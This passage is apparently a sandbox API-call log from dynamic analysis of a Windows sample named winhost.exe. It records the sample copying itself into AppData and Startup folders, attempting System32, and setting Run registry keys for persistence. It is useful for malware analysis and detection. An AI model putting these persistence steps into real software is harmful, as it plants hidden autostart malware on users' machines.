lpMem=0x50a238 | out: hHeap=0x4f0000) returned 1 [0223.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5062c0 | out: hHeap=0x4f0000) returned 1 [0223.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506300 | out: hHeap=0x4f0000) returned 1 [0223.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5055d0 | out: hHeap=0x4f0000) returned 1 [0223.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534370 | out: hHeap=0x4f0000) returned 1 [0223.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506280 | out: hHeap=0x4f0000) returned 1 [0223.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506380 | out: hHeap=0x4f0000) returned 1 [0223.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ee10 | out: hHeap=0x4f0000) returned 1 [0223.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ee60 | out: hHeap=0x4f0000) returned 1 [0223.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506420 | out: hHeap=0x4f0000) returned 1 [0223.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ea50 | out: hHeap=0x4f0000) returned 1 [0223.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x536510 [0223.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x546518 [0223.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x534598 [0223.576] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x534598, Size=0x20) returned 0x52eaa0 [0223.576] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52eaa0, Size=0x40) returned 0x50a1a8 [0223.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x534490 [0223.576] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x534490, Size=0x20) returned 0x52e9d8 [0223.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5345b0 [0223.576] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5345b0, Size=0x20) returned 0x52ec08 [0223.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x534448 [0223.576] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x534448, Size=0x20) returned 0x52ec80 [0223.576] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52ec80, Size=0x40) returned 0x50a238 [0223.576] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x546518, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe")) returned 0x48 [0223.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x556520 [0223.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x566528 [0223.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x534508 [0223.577] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x534508, Size=0x20) returned 0x52ec30 [0223.577] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52ec30, Size=0x40) returned 0x50a700 [0223.577] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x50a700, Size=0x80) returned 0x576998 [0223.577] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x576998, Size=0x100) returned 0x535018 [0223.577] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0223.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x535018 | out: hHeap=0x4f0000) returned 1 [0223.577] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\winhost.exe", lpDst=0x556520, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\winhost.exe") returned 0x20 [0223.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x566528 | out: hHeap=0x4f0000) returned 1 [0223.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x556520 | out: hHeap=0x4f0000) returned 1 [0223.578] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x2314020 [0223.579] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x534508 [0223.580] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x534508, Size=0x20) returned 0x52eb40 [0223.580] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x534538 [0223.580] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x534538, Size=0x20) returned 0x52ebb8 [0223.580] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0223.580] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0223.580] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1 [0223.580] lstrlenW (lpString="kernel32.dll") returned 12 [0223.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52eb40 | out: hHeap=0x4f0000) returned 1 [0223.580] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0223.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ebb8 | out: hHeap=0x4f0000) returned 1 [0223.580] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0223.580] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\winhost.exe" (normalized: "c:\\windows\\system32\\winhost.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0223.584] CloseHandle (hObject=0x240) returned 1 [0223.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5344a8 [0223.584] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5344a8, Size=0x20) returned 0x52eac8 [0223.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5345b0 [0223.584] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5345b0, Size=0x20) returned 0x52ec30 [0223.584] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0223.584] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0223.584] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0223.584] lstrlenW (lpString="kernel32.dll") returned 12 [0223.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ec30 | out: hHeap=0x4f0000) returned 1 [0223.584] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0223.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52eac8 | out: hHeap=0x4f0000) returned 1 [0223.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2314020 | out: hHeap=0x4f0000) returned 1 [0223.586] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x556520 [0223.586] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x566528 [0223.586] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x534490 [0223.586] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x534490, Size=0x20) returned 0x52ec30 [0223.586] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52ec30, Size=0x40) returned 0x50a430 [0223.586] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x50a430, Size=0x80) returned 0x576cc8 [0223.586] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x576cc8, Size=0x100) returned 0x535018 [0223.586] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0223.586] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x535018 | out: hHeap=0x4f0000) returned 1 [0223.586] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\winhost.exe", lpDst=0x556520, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\winhost.exe") returned 0x2c [0223.586] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x566528 | out: hHeap=0x4f0000) returned 1 [0223.586] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x556520 | out: hHeap=0x4f0000) returned 1 [0223.587] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x231d020 [0223.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5344a8 [0223.588] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5344a8, Size=0x20) returned 0x52eb40 [0223.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x534490 [0223.589] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x534490, Size=0x20) returned 0x52ea50 [0223.589] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0223.589] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0223.589] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0223.589] lstrlenW (lpString="kernel32.dll") returned 12 [0223.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52eb40 | out: hHeap=0x4f0000) returned 1 [0223.589] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0223.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ea50 | out: hHeap=0x4f0000) returned 1 [0223.589] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0223.589] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\winhost.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winhost.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0223.591] ReadFile (in: hFile=0x240, lpBuffer=0x231d020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x231d020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0223.600] WriteFile (in: hFile=0x244, lpBuffer=0x231d020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x231d020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0223.601] ReadFile (in: hFile=0x240, lpBuffer=0x231d020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x231d020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0223.602] CloseHandle (hObject=0x244) returned 1 [0223.602] CloseHandle (hObject=0x240) returned 1 [0223.602] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x534388 [0223.602] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x534388, Size=0x20) returned 0x52ed98 [0223.602] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x534460 [0223.602] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x534460, Size=0x20) returned 0x52ec30 [0223.602] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0223.602] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0223.602] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0223.602] lstrlenW (lpString="kernel32.dll") returned 12 [0223.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ec30 | out: hHeap=0x4f0000) returned 1 [0223.602] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0223.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ed98 | out: hHeap=0x4f0000) returned 1 [0223.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x231d020 | out: hHeap=0x4f0000) returned 1 [0223.605] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x534628 [0223.605] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x534628, Size=0x20) returned 0x52ede8 [0223.605] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52ede8, Size=0x40) returned 0x50a550 [0223.605] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x50a550, Size=0x80) returned 0x576888 [0223.605] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\winhost.exe") returned 43 [0223.605] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0223.605] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5c) returned 0x507e68 [0223.605] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0 [0223.605] RegSetValueExW (hKey=0x240, lpValueName="winhost.exe", Reserved=0x0, dwType=0x1, lpData=0x536510, cbData=0x56) returned 0x5 [0223.606] RegCloseKey (hKey=0x240) returned 0x0 [0223.606] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x507e68 | out: hHeap=0x4f0000) returned 1 [0223.606] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\winhost.exe") returned 43 [0223.606] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0223.606] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5c) returned 0x507e68 [0223.606] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x244) returned 0x0 [0223.606] RegSetValueExW (in: hKey=0x244, lpValueName="winhost.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\winhost.exe", cbData=0x56 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\winhost.exe") returned 0x0 [0223.607] RegCloseKey (hKey=0x244) returned 0x0 [0223.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x507e68 | out: hHeap=0x4f0000) returned 1 [0223.607] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0223.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x576888 | out: hHeap=0x4f0000) returned 1 [0223.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x556520 [0223.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x566528 [0223.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5343d0 [0223.607] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5343d0, Size=0x20) returned 0x52ec80 [0223.607] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52ec80, Size=0x40) returned 0x50a3a0 [0223.607] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x50a3a0, Size=0x80) returned 0x576bb8 [0223.607] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x576bb8, Size=0x100) returned 0x535018 [0223.607] lstrlenW (lpString="") returned 0 [0223.607] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0223.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x535120 [0223.607] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0223.607] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x566528, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x566528*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2 [0223.607] RegCloseKey (hKey=0x244) returned 0x0 [0223.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x535120 | out: hHeap=0x4f0000) returned 1 [0223.607] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0223.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x535120 [0223.607] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0223.607] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x566528, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0 [0223.607] RegCloseKey (hKey=0x244) returned 0x0 [0223.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x535120 | out: hHeap=0x4f0000) returned 1 [0223.607] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0223.607] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0223.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x535018 | out: hHeap=0x4f0000) returned 1 [0223.608] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe", lpDst=0x556520, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe") returned 0x5a [0223.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x566528 | out: hHeap=0x4f0000) returned 1 [0223.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x556520 | out: hHeap=0x4f0000) returned 1 [0223.608] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x2315020 [0223.610] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5343b8 [0223.610] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5343b8, Size=0x20) returned 0x52ee10 [0223.610] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x534418 [0223.610] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x534418, Size=0x20) returned 0x52ec80 [0223.610] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0223.610] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0223.610] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0223.610] lstrlenW (lpString="kernel32.dll") returned 12 [0223.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ee10 | out: hHeap=0x4f0000) returned 1 [0223.610] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0223.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ec80 | out: hHeap=0x4f0000) returned 1 [0223.610] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0223.610] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0223.612] ReadFile (in: hFile=0x244, lpBuffer=0x2315020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2315020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0223.619] WriteFile (in: hFile=0x248, lpBuffer=0x2315020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2315020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0223.621] ReadFile (in: hFile=0x244, lpBuffer=0x2315020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2315020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0223.621] CloseHandle (hObject=0x248) returned 1 [0223.622] CloseHandle (hObject=0x244) returned 1 [0223.622] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5345e0 [0223.622] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5345e0, Size=0x20) returned 0x52eb40 [0223.622] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5344a8 [0223.622] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5344a8, Size=0x20) returned 0x52eaf0 [0223.622] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0223.622] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0223.622] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0223.622] lstrlenW (lpString="kernel32.dll") returned 12 [0223.622] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52eaf0 | out: hHeap=0x4f0000) returned 1 [0223.622] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0223.622] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52eb40 | out: hHeap=0x4f0000) returned 1 [0223.622] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2315020 | out: hHeap=0x4f0000) returned 1 [0223.628] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x556520 [0223.628] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x566528 [0223.628] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x534508 [0223.628] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x534508, Size=0x20) returned 0x52ec30 [0223.628] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52ec30, Size=0x40) returned 0x50a7d8 [0223.628] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x50a7d8, Size=0x80) returned 0x576800 [0223.628] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x576800, Size=0x100) returned 0x535018 [0223.628] lstrlenW (lpString="") returned 0 [0223.628] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0223.628] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x535120 [0223.628] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0223.629] RegQueryValueExW (in: hKey=0x244, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x566528, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0 [0223.629] RegCloseKey (hKey=0x244) returned 0x0 [0223.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x535120 | out: hHeap=0x4f0000) returned 1 [0223.629] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0223.629] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0223.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x535018 | out: hHeap=0x4f0000) returned 1 [0223.629] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe", lpDst=0x556520, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe") returned 0x49 [0223.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x566528 | out: hHeap=0x4f0000) returned 1 [0223.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x556520 | out: hHeap=0x4f0000) returned 1 [0223.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x2318020 [0223.632] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x534508 [0223.632] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x534508, Size=0x20) returned 0x52eac8 [0223.632] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5345e0 [0223.632] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5345e0, Size=0x20) returned 0x52ea28 [0223.632] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0223.632] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0223.632] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0223.632] lstrlenW (lpString="kernel32.dll") returned 12 [0223.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52eac8 | out: hHeap=0x4f0000) returned 1 [0223.632] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0223.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ea28 | out: hHeap=0x4f0000) returned 1 [0223.632] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 